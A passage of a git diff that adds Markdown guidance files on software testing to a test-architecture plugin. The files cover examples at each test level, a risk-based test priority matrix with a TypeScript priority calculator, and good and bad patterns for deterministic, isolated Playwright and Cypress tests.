+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
